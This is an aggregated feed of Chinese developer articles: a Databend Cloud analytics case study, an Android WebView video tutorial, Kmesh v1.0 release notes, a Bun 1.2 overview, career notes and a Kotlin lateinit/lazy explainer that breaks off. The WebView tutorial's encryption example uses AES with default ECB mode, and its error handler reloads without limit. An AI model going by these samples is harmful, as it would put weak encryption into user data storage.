此外,沉浸式翻译团队遵循最小采集原则,不采集可能存在唯一识别能力的数据,不采集具体的用户行为细节,只采集必要的统计意义上的数据而非个性化数据,如翻译耗时,翻译次数和错误异常等。在这个限制下,大部分第三方的数据采集服务被放弃。考虑到沉浸式翻译有大量的海外用户,我们也需尊重海外用户的数据使用和数据存储权, 避免数据跨境传输。基于以上考虑,团队必须细粒度的控制采集行为和存储方式,自建业务数据体系成为唯一选项。

自建业务数据分析体系的复杂性

为了应对通用埋点系统的局限性,「沉浸式翻译」在业务增长到一定阶段后,决定自建一套业务数据分析体系。在进行调研后,技术人员发现传统自建架构多基于 Hadoop 大数据生态,典型实现流程如下:

  1. 在客户端(APP、网站)中埋入 SDK,采集业务数据日志 activity logs;
  2. 使用 Activity gateway 埋点指标网关,收集客户端发来的日志,并将日志转到 Kafka 消息总线;
  3. 利用 Kafka 将日志 logs 落到 Hive 或 Spark 等计算引擎;
  4. 通过 ETL 工具将数据导入数据仓库,生成业务数据分析报表。

虽然这一架构在功能上能够满足需求,但其复杂性和维护成本极高:

  1. Kafka 需要依赖 Zookeeper ,还需要配备 SSD 硬盘保障性能。

  2. 从 Kafka 到 Data Warehouse 需要 kafka-connect ;

  3. Spark 要运行在 YARN 上,ETL 需要 Airflow 管理;

  4. 当 Hive 存储达到上限,可能还需要将 MySQL 换成 TiDB 等分布式数据库。

这种架构不仅需要大量的技术团队投入,还极大增加了运维负担。在如今企业都在不断追求降本增效的背景下,这种架构已不再适合需要简单、高效的业务场景。

为什么选择 Databend Cloud?

「沉浸式翻译」技术团队在做架构选型时选择了 Databend Cloud 进行业务数据分析体系的搭建。Databend Cloud 凭借简洁的架构和灵活性,提供了一种高效且低成本的业务数据分析解决方案:

  • 100% 面向对象存储,完全存储计算分离,显著降低存储成本;
  • Rust 编写的 Query 引擎性能高,价格低廉。在计算资源闲置时自动休眠,不产生额外费用;
  • 支持 100% ANSI SQL ,支持半结构化数据分析(JSON 和自定义 UDF)。当用户有一些比较复杂的 JSON,可以用内置的 JSON 分析能力或自定义的 UDF,分析半结构化数据;
  • 内置 Task 调度驱动 ETL,完全无状态,自动弹性伸缩。

在使用 Databend Cloud 后,「沉浸式翻译」放弃了 Kafka,通过使用 Databend Cloud 建 stage ,将业务日志导入到 S3 中,再用 task 导进 Databend Cloud 中进行数据处理。

  • 日志采集与存储:不再需要 Kafka,直接将埋点日志通过 vector 以 ndjson 格式落到 S3。

  • 数据摄入与处理:在 Databend Cloud 中创建一个 copy task 任务,自动把日志拉出来,落到 S3。很多时候,S3 在 Databend Cloud 中可以当做一个 stage,落到 stage 里面的数据可以被 Databend Cloud 自动摄取,然后在 Databend Cloud 中进行处理,再从 S3 转出去。

  • 查询与报表分析:通过自动休眠的 Warehouse 运行 BI 报表/即席查询,休眠时不产生任何费用。

Databend 作为一家工程师文化的国际公司,其在开源社区的贡献和口碑让沉浸式翻译的技术团队相信Databend对客户数据的尊重和保护。Databend 在海外和境内的服务是相对独立的。虽然沉浸式翻译目前没有对海外用户进行统计和分析,但未来如果有对海外数据分析的需求,架构也方便迁移和继承。

通过上述方式,Databend Cloud 能够以最简化的方式实现企业对高效业务数据分析的需求。

解决方案

对于「沉浸式翻译」来说,构建这样一套业务数据分析架构所需要做的准备工作非常简单。首先,准备两个 Warehouse,一个用于 Task 摄入数据,一个用于 BI 报表查询。摄入数据的时候可以用一个规格小点的 Warehouse,查询的 Warehouse 规格高一点,因为查询通常不会一直查,这样可以节省更多成本。

然后点击 connect 获得一个连接串,这个连接串可以放在 BI 报表用于查询。Databend 提供了各种语言的 Driver。

接下来的准备工作只需三步:

  1. 建表,其中的字段与 NDJSON 格式的日志一致;
  2. 创建一个 stage,将存放业务数据日志的 S3 目录录进来;
  3. 创建一个 task ,每一分钟或者十秒钟执行一次。它会自动把 stage 里的文件导进来,然后自动清理掉。

Vector 配置如下:

[sources.input_logs]
type = "file"
include = ["/path/to/your/logs/*.log"]
read_from = "beginning"

[transforms.parse_ndjson]
type = "remap"
inputs = ["input_logs"]
source = '''
. = parse_json!(string!(.message))
'''

[sinks.s3_output]
type = "aws_s3"
inputs = ["parse_ndjson"]
bucket = "${YOUR_BUCKET_NAME}"
region = "%{YOUR_BUCKET_REGION}"
encoding.codec = "json"
key_prefix = "logs/%Y/%m/%d"
compression = "none"
batch.max_bytes = 10485760  # 10MB
batch.timeout_secs = 300    # 5 minutes
aws_access_key_id = "${AWS_ACCESS_KEY_ID}"
aws_secret_access_key = "${AWS_SECRET_ACCESS_KEY}"

准备工作完成后,就可以源源不断地把业务数据日志录进 Databend Cloud 中进行分析。

架构对比与收益

通过对比通用埋点系统、传统 Hadoop 架构和 Databend Cloud,Databend Cloud 具有显著优势:

  • 架构简洁性:摆脱了复杂的大数据生态,无需 Kafka、Airflow 等组件。

  • 成本优化:利用对象存储和弹性计算实现低成本的存储与分析。

  • 灵活性与性能:支持高性能 SQL 查询,满足多样化的业务场景。

此外,Databend Cloud 提供了快照机制,支持数据的时点回溯(Timetravel),可以帮助「沉浸式翻译」确保数据安全性和可恢复性。

最终,「沉浸式翻译」技术团队仅用一个下午便完成了全部 POC 测试,从复杂的 Hadoop 架构切换到 Databend Cloud,极大简化了运维和操作成本。

在构建业务数据埋点系统时,除了存储、计算方面的成本,维护成本也是架构选型的重要因子。Databend 通过对象存储与计算分离的架构革新,彻底改变了传统业务数据分析体系的复杂性。企业可以轻松搭建一套高性能、低成本的业务数据分析架构,实现从数据采集到分析的全流程优化。该方案为「沉浸式翻译」在降本增效的同时释放了数据的最大价值。

关于 Databend

Databend 是一款开源、弹性、低成本,基于对象存储也可以做实时分析的新式数仓。期待您的关注,一起探索云原生数仓解决方案,打造新一代开源 Data Cloud。

👨‍💻‍ Databend Cloud:databend.cn

📖 Databend 文档:docs.databend.com

💻 Wechat:Databend

✨ GitHub:github.com/databendlab…

by Databend at January 23, 2025 08:48 AM

juejin android

WebView加载播放视频小结

在Android中使用WebView加载播放视频流及实现下载、暂停和音量控制功能

在开发Android应用程序时,集成Web视图(WebView)来加载播放视频流并提供下载、暂停/播放以及音量控制等功能是一个常见的需求。本篇博客将详细讲解如何通过WebView组件在Android应用中实现这些特性,并提供具体的代码示例。

1. WebView配置

为了确保WebView可以正确地加载和播放HTML5视频,我们需要适当地配置WebSettings,并启用JavaScript(如果视频播放器依赖于它)。下面的代码片段展示了如何设置WebView以支持视频播放:

// 获取布局文件中的WebView实例
WebView webView = findViewById(R.id.webview);
WebSettings webSettings = webView.getSettings();

// 启用JavaScript以支持基于JS的视频播放器
webSettings.setJavaScriptEnabled(true);

// 允许访问文件系统,这对于某些视频播放情况可能是必要的
webSettings.setAllowFileAccess(true);

// 设置媒体播放不需要用户的手势触发,允许自动播放
webSettings.setMediaPlaybackRequiresUserGesture(false);

// 加载包含视频内容的网页
webView.loadUrl("https://example.com/video-page");

2. 媒体控制器

对于视频的播放控制,如暂停/播放,我们可以利用HTML5 <video>标签自带的控制属性或者自定义一个媒体控制器来管理视频播放状态。HTML5 Video元素提供了内置的控件,可以通过设置controls属性开启。此外,你还可以通过JavaScript监听视频事件(如play, pause等),以便在原生代码中处理这些事件。

HTML 示例

<!-- HTML 示例 -->
<video id="myVideo" controls>
  <source src="movie.mp4" type="video/mp4">
  Your browser does not support the video tag.
</video>

<script type="text/javascript">
  var myVideo = document.getElementById('myVideo');

  // 监听播放事件
  myVideo.addEventListener('play', function() {
    Android.onPlay();
  });

  // 监听暂停事件
  myVideo.addEventListener('pause', function() {
    Android.onPause();
  });
</script>

Java 代码

// 创建一个接口类,供JavaScript调用
public class WebAppInterface {
    Context mContext;

    /** Instantiate the interface and set the context */
    WebAppInterface(Context c) {
        mContext = c;
    }

    @JavascriptInterface
    public void onPlay() {
        // 当视频开始播放时调用
        Toast.makeText(mContext, "Video is playing", Toast.LENGTH_SHORT).show();
    }

    @JavascriptInterface
    public void onPause() {
        // 当视频暂停时调用
        Toast.makeText(mContext, "Video paused", Toast.LENGTH_SHORT).show();
    }
}

// 在Activity中配置WebView以允许JavaScript接口通信
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    WebView webView = findViewById(R.id.webview);
    WebSettings webSettings = webView.getSettings();
    webSettings.setJavaScriptEnabled(true);

    // 添加JavaScript接口
    webView.addJavascriptInterface(new WebAppInterface(this), "Android");

    // 加载包含视频内容的网页
    webView.loadUrl("file:///android_asset/my_video_page.html");
}

安全性注意事项

当使用addJavascriptInterface()时,请注意安全性问题。从Android 4.2 (API level 17)开始,所有标记为@JavascriptInterface的方法都必须是公开的,而且只能被JavaScript调用。此外,建议尽量减少暴露给JavaScript的接口数量,并且不要通过这些接口执行任何可能影响应用安全性的操作。

3. 权限

请记得添加网络访问和外部存储写入权限到AndroidManifest.xml中,因为WebView需要访问互联网加载页面,而下载功能则需要写入权限来保存文件到设备上。从Android 6.0 (API level 23)开始,还需要请求运行时权限。

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

对于目标SDK版本为29或更高的应用,建议使用分区存储模型,并考虑使用requestLegacyExternalStorage标志作为过渡方案,直到完全迁移到分区存储。

4. 安全性

确保所有网络请求都经过HTTPS,并考虑实现适当的认证机制。HTTPS可以保护数据传输的安全,防止中间人攻击。另外,对于敏感操作(如登录、支付等),应当采用安全的认证方式,如OAuth、Token验证等。

如果你的应用涉及到处理用户个人信息或其他敏感数据,请遵循相关法规,如GDPR,并采取必要的加密措施。

确保HTTPS连接

为了保证数据传输的安全性,所有的网络请求都应该通过HTTPS协议进行。可以通过配置WebView来强制使用HTTPS:

// 强制WebView使用HTTPS
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
    webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_NEVER_ALLOW);
}

实现认证机制

对于需要认证的操作,如登录或访问受保护的内容,建议使用现代的身份验证方法,例如OAuth2.0或JWT(JSON Web Tokens)。下面是如何设置WebView以处理OAuth2.0重定向的例子:

webView.setWebViewClient(new WebViewClient() {
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
        String url = request.getUrl().toString();
        
        // 检查是否为OAuth回调URL
        if (url.startsWith("https://your-app.com/callback")) {
            // 处理OAuth回调逻辑,例如提取授权码
            handleOAuthCallback(url);
            return true;
        }
        return super.shouldOverrideUrlLoading(view, request);
    }

    private void handleOAuthCallback(String callbackUrl) {
        // 解析授权码并交换访问令牌
        // ...
    }
});

加密敏感信息

对于涉及用户个人信息的数据,应该始终对其进行加密存储。可以使用AES对称加密算法来加密本地存储的数据。以下是使用AES加密的一个简单例子:

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class EncryptionUtil {

    private static final String ALGORITHM = "AES";
    private static final int KEY_SIZE = 128;

    public static SecretKey generateKey() throws Exception {
        KeyGenerator keyGen = KeyGenerator.getInstance(ALGORITHM);
        keyGen.init(KEY_SIZE);
        return keyGen.generateKey();
    }

    public static String encrypt(String data, SecretKey secretKey) throws Exception {
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, secretKey);
        byte[] encryptedData = cipher.doFinal(data.getBytes());
        return Base64.getEncoder().encodeToString(encryptedData);
    }

    public static String decrypt(String encryptedData, SecretKey secretKey) throws Exception {
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, secretKey);
        byte[] decodedData = Base64.getDecoder().decode(encryptedData);
        byte[] decryptedData = cipher.doFinal(decodedData);
        return new String(decryptedData);
    }
}

5. 用户体验

考虑到全屏支持、错误处理等额外的功能,以优化用户体验。为了让用户获得更好的观看体验,你应该:

全屏支持

当用户点击全屏按钮时,可以让视频进入全屏模式。这可能需要你在WebView中监听特定的JavaScript事件,并相应调整Activity的布局。下面是如何实现全屏切换的例子:

<!-- HTML 示例 -->
<video id="myVideo" controls>
  <source src="movie.mp4" type="video/mp4">
  Your browser does not support the video tag.
</video>

<script type="text/javascript">
  var myVideo = document.getElementById('myVideo');

  // 监听全屏请求事件
  myVideo.addEventListener('fullscreenchange', function() {
      if (!document.fullscreenElement) {
          Android.exitFullscreen();
      } else {
          Android.enterFullscreen();
      }
  });

  // 添加全屏按钮点击事件
  document.querySelector('#fullScreenButton').addEventListener('click', function() {
      if (myVideo.requestFullscreen) {
          myVideo.requestFullscreen();
      }
  });
</script>
// Java代码 - Activity中的方法
public class VideoActivity extends AppCompatActivity {
    private WebView webView;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_video);

        webView = findViewById(R.id.webview);
        webView.addJavascriptInterface(new WebAppInterface(this), "Android");

        // 设置WebViewClient以处理全屏变化
        webView.setWebViewClient(new WebViewClient() {
            @Override
            public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) {
                // 错误处理逻辑
                Toast.makeText(VideoActivity.this, "Error loading video", Toast.LENGTH_SHORT).show();
            }
        });
    }

    // 接口类供JavaScript调用
    public class WebAppInterface {
        Context mContext;

        WebAppInterface(Context c) {
            mContext = c;
        }

        @JavascriptInterface
        public void enterFullscreen() {
            // 进入全屏模式
            getWindow().getDecorView().setSystemUiVisibility(
                    View.SYSTEM_UI_FLAG_FULLSCREEN |
                    View.SYSTEM_UI_FLAG_HIDE_NAVIGATION |
                    View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY);
        }

        @JavascriptInterface
        public void exitFullscreen() {
            // 退出全屏模式
            getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_VISIBLE);
        }
    }
}

错误处理

确保你的应用程序能够优雅地处理各种错误情况,如视频加载失败、网络中断等。提供清晰的错误信息给用户,并尝试重新加载资源。你可以在WebViewClient中覆盖onReceivedError方法来处理加载错误:

webView.setWebViewClient(new WebViewClient() {
    @Override
    public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) {
        // 显示友好的错误消息
        Toast.makeText(VideoActivity.this, "Failed to load video: " + error.getDescription(), Toast.LENGTH_LONG).show();

        // 尝试重新加载页面
        view.loadUrl(request.getUrl().toString());
    }
});

综上所述,以上代码片段展示了如何在Android应用中使用WebView加载播放视频流,并实现下载、暂停/播放和音量控制等功能。同时,我们还讨论了如何通过HTTPS、认证机制和加密技术来保障应用的安全性,以及如何通过全屏支持和错误处理来提升用户体验。

by 望佑 at January 23, 2025 08:26 AM

oschina news industry

Kmesh v1.0 正式发布

摘要:在本次发布的 v1.0 版本中,Kmesh 对东西向流量治理功能进行了重大改进,提升了整体网络流量管理的效率和安全性。
本文分享自华为云社区 《Kmesh v1.0正式发布!稳定易用的高性能Sidecarless服务网格》 ,作者:云容器大未来。
 
2025 新年伊始,我们非常高兴地宣布 Kmesh v1.0 版本 [1]正式发布。在此,我们对 Kmesh 社区 [2] 所有贡献者在过去三个月中的不懈努力和辛勤工作表示衷心的感谢。正是因为大家的共同努力,Kmesh 才能顺利推出这一重要版本。
 
在本次发布的 v1.0 版本中,Kmesh 对东西向流量治理功能进行了重大改进,提升了整体网络流量管理的效率和安全性。这些改进不仅优化了数据传输的稳定性,还为用户提供了更加丰富的流量治理能力。此外,我们还持续优化了 Kmesh 的易用性,使其更加友好和直观,方便用户快速上手和使用。
 

Kmesh v1.0 版本主要特性

加密通信

为保障节点间通信的安全,Kmesh 在v1.0版本引入了 IPsec 对节点间的流量进行加密,使流量传输过程中明文变密文,确保了节点间通讯的信息安全。整体架构图如下图所示:
 
IPSec 作为一种成熟、稳定且高度安全的加密协议,被广泛应用于各种网络环境。它不仅为节点间的通信提供加密,还支持对不同协议的数据进行加密。Kmesh 仅使用 IPSec 的加密功能,如上图所示,用户在 Kubernetes 中设置 IPsec 的预共享密钥之后,Kmesh 对这个密钥进行管理保证 IPsec 的正常通信。
此外为精细化控制 IPsec 的加密行为,Kmesh 通过 KmeshNodeInfo CRD 存储节点信息,借助 Kubernetes api-server 进行节点间的信息同步。确保集群节点间通讯的安全性。
借助 IPSec,Kmesh 不仅实现了节点间通信的加密功能,还确保了数据在传输过程中的机密性和完整性,从而有效防止数据被窃听、篡改或伪造。通过结合 Kubernetes 的灵活性和 CRD(自定义资源定义)的扩展能力,Kmesh 能够在复杂的集群环境中高效地管理加密密钥,并动态同步节点信息,进一步提升了整个系统的安全性和可靠性。
 

将 Authorization 策略执行下沉到 XDP 程序中

Kmesh v0.5.0 版本 中,Kmesh 已经将 authorization 的部分功能下沉到 XDP 程序中执行。在 v1.0.0 版本我们将更多的 authorization 能力下沉到 XDP 中,现已经支持基于IP的 authorization 处理。整体的处理流程图如下图所示:
 
Kmesh 将 authorization 的处理分成 policy、rule、clause 和 match 四步处理,将它们通过 tail-call 机制进行串联。整个 authorization 的处理会在 TCP 建链的的时候进行,如果通过鉴权,流量将通过协议栈发送到对应的 IP 地址;如果没通过鉴权,则会丢弃 SYN 包,阻止 TCP 链接建立。
通过将 authorization下沉到 XDP 程序中,Kmesh 能够在网络数据包进入内核协议栈的最早阶段进行鉴权处理。这种方式不仅显著减少了用户态与内核态之间的上下文切换开销,还能够极大提升数据包处理的效率,从而实现高速、低延迟的鉴权。同时,这种设计确保了未通过鉴权的数据包在协议栈中被直接丢弃,有效降低了系统资源的消耗,进一步增强了系统的安全性和性能。Kmesh 在之后的版本计划中,会将更多的 authorization 功能下沉到 XDP Prog 当中,欢迎大家对相关的 authorization 提出自己的需求,以便社区制定迭代计划。
 

基于地域的负载均衡

在v1.0.0版本,Kmesh具备了基于地域的负载均衡能力。基于地域的负载均衡是分布式系统中性能和可靠性的关键优化。通过将流量路由到地域优先级最高的服务实例,减少延迟,增加可用性。Kmesh 的基于地域的负载均衡的匹配示例如下所示:
 
 
图中的1、2、3、4表示 client 访问 service 的优先级。当访问服务时,会先根据 sub-zone,zone,region 的匹配程度先计算优先级,再确定访问哪个服务。通过在用户态存储的基于地域的优先级信息更新 service map 中的信息。bpf 程序根据 service map 中的优先级信息选择对应的 endpoint 建立链接。此外 Kmesh 在负载均衡策略更新期间会对 endpoint map 中的 endpoint_key 逐一进行更新,以确保更新期间服务的连续性。Kmesh 现提供 region、zone、subZone、nodeName 和 clusterID 五种不同粒度的地域负载均衡。使用户能够灵活的配置适合自己的负载均衡策略。
在有基于地域的负载均衡能力之后,Kmesh 能够更智能地将流量引导至地理位置最优的节点,从而减少延迟并提高服务性能。这样一来,用户请求可以更快速地得到响应,尤其对于跨地域的大型分布式应用来说,能够显著提升整体用户体验和网络性能。
 

可观测性优化

为提升 Kmesh 的易用性,在 v1.0 版本中对 Kmesh 的可观测性也进行了贴近用户需求的优化。
在 Metrics 中,Kmesh 优化了 metrics labels,将 destination_service 从原本的 socket 中的 destination 替换成本次请求最终的 destination 。原先经过 waypoint 的 source 访问 destination 的请求会分成 source->waypoint 和 waypoint->destination 两条 metrics 。使 destination 的信息都呈现为 waypoint 的信息。
before release v1.0
# destination_service_name is `reviews` instead of `reviews-svc-waypoint
kmesh_tcp_connections_closed_total{destination_app="reviews-svc-waypoint",destination_service="reviews-svc-waypoint"...} 14
当有多个服务共用一个waypoint的时候,这样的metrics会使用户感到困惑。但在v1.0.0版本中,Kmesh metrics的destination_service将始终记录最终destination信息。呈现的metrics为:
release v1.0
# destination_service_name is `reviews` instead of `reviews-svc-waypoint`
kmesh_tcp_connections_closed_total{destination_app="reviews-svc-waypoint",destination_service_name="reviews"...} 14
这样修改,一条 metrics 就能够包含本次链接的 destination 信息和最终 destination 信息。使呈现的 metrics 更加合理易懂,提升了 Kmesh 可观测数据的整体清晰度和可用性。此外 Kmesh 还与 kiali 一起,为用户呈现清晰直观的服务拓扑图:
 
借助服务拓扑图,用户能够全面了解集群中各个服务之间的依赖关系和通信状态,从而更容易地监控和诊断网络状况。用户还可以识别潜在的性能瓶颈和故障点,进行优化和故障排除,提高整个系统的可靠性和性能。
 

全模式无中断重启

在 v1.0.0 版本, Kmesh 的 Kernel-Native 模式也提供了流量重启无中断的能力。可以在重启后优雅的加载 eBPF map 和 Prog,且不需要再重启后重新注册服务。实现了Kmesh全模式下重启不中断流量,不影响服务的目标。
 
 
与 Dual-Engine 模式一样,通过将 eBPF Prog 和 map pin 到内核目录中,使其与 kmesh-daemon 解耦,确保 eBPF map 和 Prog 在 Kmesh 关闭的时候也能够对流量进行治理。确保在 Kmesh 重启的这段时间中服务不中断。
如果在 Kmesh 重启的这段时间中有配置的更新,Kmesh 在重启之后,也会从 istiod 中获取最新的配置,确保在重启后的第一时间进行信息的同步。
相较于传统 Service Mesh 在重启过程中中断服务流量的情况,Kmesh 的设计避免了在重启期间对业务流量产生影响,确保了服务的连续性和稳定性,提供了更可靠高可用的系统,减少了服务中断的风险,提升了用户体验。此外在后续计划中,Kmesh 会支持无中断升级,确保在 Kmesh 升级的时候也能不干扰业务流量,解决困扰用户想使用网格新的功能又不敢升级网格的问题。
 

熔断与限流

注意: 此特性仅适用于[Kernel-Native Mode]
Kmesh 在 v1.0.0 版本为 Kernel-Native 模式引入熔断和限流功能。在 Kernel-Native 模式保证低延迟高并发高负载的情况下,确保系统的稳定性和可靠性。Kmesh 的 Kernel-Native 模式追求极致的性能,但此前的功能较少,后续我们会在确保 Kernel-Native 模式性能的情况下,提供更为丰富的功能。
 

支持Headless Service和ServiceEntry和适配istio 1.24

Kmesh v1.0.0 中已经适配了Istio 1.24 版本,并且通过 e2e 测试保证了 Kmesh在 Istio 1.24 版本中的稳定性。目前在 Kmesh 社区中通过 e2e 测试,确保 Kmesh 在 Istio 1.22, 1.23, 1.24 版本的稳定性。此外我们还与 Istio 1.24 版本的 Ambient Mesh进行了性能方面的对比( 当Kmesh遇上Ambient Mesh [3])总体来说。Kmesh 在时延和吞吐量两个维度上来说,相较于Ambient Mesh更胜一筹。
除了适配最新的 Istio 之外,Kmesh还支持了 Headless Service 和 ServiceEntry 的部分能力。

我们衷心感谢 Kmesh[4] 社区的所有贡献者,Kmesh v1.0.0 的成功发布是整个团队集体努力的证明。这不仅包括通过 OSPP 参与社区开发的学生,还包括来自华为、阿里、Tetrate 等公司的其他所有热心的开源开发者们。正是大家的共同努力,促使 Kmesh 社区蓬勃发展、欣欣向荣。
我们也热烈欢迎新的开发者和用户加入 Kmesh 社区。只有在大家的持续参与和支持下,我们才能不断创新和进步,共同推动 Kmesh 走向更加辉煌的未来。通过协作与分享,我们期待在 Kmesh 社区中实现更多技术突破和应用场景,为大家提供更加优秀的 Sidecarless 服务网格解决方案。

 

参考资料
[3]当Kmesh遇上Ambient Mesh: https://bbs.huaweicloud.com/blogs/442565
[4]Kmesh Website: https://kmesh.net/en/
 

by 原创 at January 23, 2025 08:19 AM

oschina news project

全面进击的 JavaScript 运行时:Bun 1.2 重磅发布,剑指 Node.js 生态

JavaScript 运行时新秀 Bun 发布 1.2 版本,这是自去年 4 月发布 1.1 以来最重要的一次更新。此次更新不仅大幅提升了与 Node.js 的兼容性,还为开发者带来了内置的数据库支持和云服务集成能力,进一步强化了其“全能工具包”的定位。

Node.js 兼容性获得突破性进展

在此次更新中,最引人注目的是 Bun 在 Node.js 兼容性方面取得的突破性进展。Bun 团队改变了此前被动修复问题的策略,转而主动运行 Node.js 的测试套件来提升兼容性。这一改变使得包括 http、crypto、dgram 等多个核心模块的测试通过率超过 90%。特别值得一提的是,Express —— 这个广受欢迎的 Web 框架在 Bun 中的性能提升了 3 倍,这无疑会吸引更多开发者尝试将项目迁移到 Bun 上。

云原生时代的标配:内置数据库与对象存储支持

此次更新的另一大亮点是为开发者带来了内置的 PostgreSQL 客户端和 S3 对象存储支持。这意味着开发者无需安装额外的依赖包,就能直接与这些关键的云服务进行交互。尤其是 Bun 的 S3 客户端,其性能测试显示比使用传统 AWS SDK 的 Node.js 应用快 5 倍。这一改进将显著降低云原生应用的开发门槛。

包管理器也要与时俱进

作为一个全能型工具包,Bun 的包管理功能也获得了重要升级。最显著的变化是将默认的二进制锁文件(bun.lockb)改为文本格式的 bun.lock。这一改变虽然看似简单,但解决了代码审查、版本控制和冲突解决等实际问题。更值得注意的是,尽管切换到了文本格式,新版本的 bun install 性能反而提升了 30%,这体现了 Bun 团队在性能优化方面的执着。

测试运行器更进一步

Bun 的内置测试运行器在此次更新中也得到加强,新增了 JUnit 和 LCOV 报告支持,这使得它更容易集成到现有的 CI/CD 流程中。此外,新增的内联快照测试等特性,也让测试体验更接近主流测试框架如 Jest。

性能持续领先

作为以性能著称的 JavaScript 运行时,Bun 1.2 在多个方面都实现了显著的性能提升。从 HTTP/2 服务器到文件系统操作,从 JSON 解析到控制台输出,几乎每个常用操作都变得更快。特别是在 Windows 平台上,JavaScript 执行性能获得了全面提升,这表明 Bun 正在努力填补其在 Windows 支持方面的短板。

展望未来

通过这次更新,Bun 展示了其在全栈开发工具链中的野心。从更完善的 Node.js 兼容性到云服务的原生支持,从更快的包管理到更强大的测试工具,Bun 正在将自己打造成一个真正的全能型开发工具包。特别是在云原生开发方面的创新,显示出 Bun 团队对未来开发趋势的敏锐把握。

然而,挑战依然存在。尽管 Node.js 兼容性有了显著提升,但距离完全兼容仍有距离。同时,如何在保持高性能的同时确保稳定性,也将是 Bun 团队需要持续面对的挑战。

总的来说,Bun 1.2 的发布展示了这个项目的快速发展势头,也证明了 JavaScript 生态系统仍有巨大的创新空间。对于开发者来说,现在可能是一个合适的时机来认真评估 Bun 是否适合自己的项目需求。毕竟,在性能、开发体验和云原生支持等方面,Bun 已经展现出了独特的优势。

by 来源: 投稿 at January 23, 2025 08:13 AM

oschina news industry

国内专门的数据检索网站发布

这个网站是一个专门的数据集检索平台,旨在为用户提供一个便捷的工具来查找全球范围内的各类数据资源。它支持中英文双语搜索,无论用户使用中文还是英文,都能准确找到所需的数据集。

该平台汇聚了来自海内外几十个数据网站的索引,覆盖了各行各业的广泛领域,包括科技、经济、社会、环境等。

通过这个平台,用户可以快速访问到权威的数据源,节省了大量的搜索和筛选时间,同时也确保了数据的高质量与可信度。无论是学术研究、商业分析,还是个人项目,用户都能够在这里找到合适的数据集,满足不同需求。

网站地址

 

by 来源: 投稿 at January 23, 2025 08:05 AM

juejin career

互联网必备职场知识(3.1)—— 提高专业能力

学什么

拆解目标颗粒度。

  1. 行业。
  2. 具体岗位。
  3. 具体做什么。

案例:
直播平台,负责App流量曝光、用户转化(更多人进直播间)、付费转化(直播间更多人付费),如何提高专业能力,成为偏营销、偏增长的产品专家?

行业:直播平台,娱乐型、成长型、技能型、交流型。 岗位,工作范围:直播增长产品,搞流量,做营销工具、推广、市场部合作投放、投放转化率、做留存、商业化,挣钱再去搞流量。

  • 产品学什么?2 个月。
  1. 产品流程,接需求、写 PRD、画原型、找研发沟通、排期、上线。
  2. 基本文案能力。
  3. 基本沟通能力。
  4. 汇报,写 PPT。
  5. 项目管理。
  6. 产品思维:遇到事先问问题,挑战描述的事情,亲自调研,拆解问题,把事情了解清楚了再去行动,考虑方案、设计方案等。
  • 增长学什么?
    基本行业知识。3 ~ 6 个月。
  • 直播学什么?
    增长概念,行业关键词背下来。增长本质:投放 -> 留存 -> 付费 -> 投放。数据分析能力,分析数据漏斗用户的行为,留下、离开、付费。

再针对优化,比如缩短路径、做钩子,第二步做完让第一步更好,不做就亏了等。

跟谁学

  • 看书,增长、产品、项目相关的,只需记住重要概念,背下行业黑话、经典案例。
  • 找专家。公司里面做增长的运营、产品、投放,外部主播,问一下情况。
  • 成功案例。
  • 了解业务转化链路链条的人。
  • 上级。

实践

  1. 看完了的书,画脑图。
  2. 深度体验直播。
  3. 画一下公司的业务流程图。
  4. 主导一个小的营销活动。
  5. 给自己定个计划。

总结

  1. 总结所有书脑图的共性,数据链路、流程。
  2. 行业商业化的共性,买用户->内容留存->付费。
  3. 营销成本和回报衡量。
  4. 从不懂到懂过程中的感受。

by jianzhangg at January 23, 2025 07:51 AM

juejin android

Kotlin - lateinit和by lazy的区别和原理

两者基本比较

把它们比作两种不同的"准备晚餐"方式:

1. by lazy 原理

想象成"点外卖"模式:

  • 先下单(声明),但不立即配送(初始化)
  • 第一次想吃的时候(首次访问)才开始配送(初始化)
  • 之后再想吃就直接吃已送到的饭(缓存值)
class Restaurant {
    // 相当于提前下单,但还没配送
    private val dinner by lazy {
        println("外卖开始配送...")  // 初始化过程
        "美味的晚餐"  // 返回值
    }
    
    fun eat() {
        println("准备吃晚餐: $dinner")  // 首次访问才会配送
    }
}

by lazy 的底层实现:

// 简化的底层实现原理
class LazyImpl<T> {
    private var value: T? = null
    private var initialized = false
    
    operator fun getValue(thisRef: Any?, property: KProperty<*>): T {
        if (!initialized) {
            synchronized(this) {
                if (!initialized) {
                    value = initializer()  // 调用初始化lambda
                    initialized = true
                }
            }
        }
        return value as T
    }
}

2. lateinit 原理

想象成"自己做饭"模式:

  • 先准备厨具(声明变量)
  • 等到需要的时候才去买菜做饭(延迟初始化)
  • 如果还没做饭就想吃(访问未初始化变量)会出问题(抛出异常)
class Kitchen {
    // 声明要做饭,但还没开始做
    private lateinit var dinner: String
    
    fun prepareDinner() {
        dinner = "自制美味晚餐"  // 初始化
    }
    
    fun eat() {
        if (::dinner.isInitialized) {  // 检查是否已经做好饭
            println("开始吃晚餐: $dinner")
        } else {
            println("晚餐还没准备好!")
        }
    }
}

lateinit 的底层实现:

// 反编译后的Java代码简化版
public class Kitchen {
    private String dinner;  // 不会有默认值
    
    public final void prepareDinner() {
        this.dinner = "自制美味晚餐";
    }
    
    public final void eat() {
        if (this.dinner == null) {
            throw new UninitializedPropertyAccessException("dinner");
        }
        System.out.println("开始吃晚餐: " + this.dinner);
    }
}

3. 流程图对比

graph TD
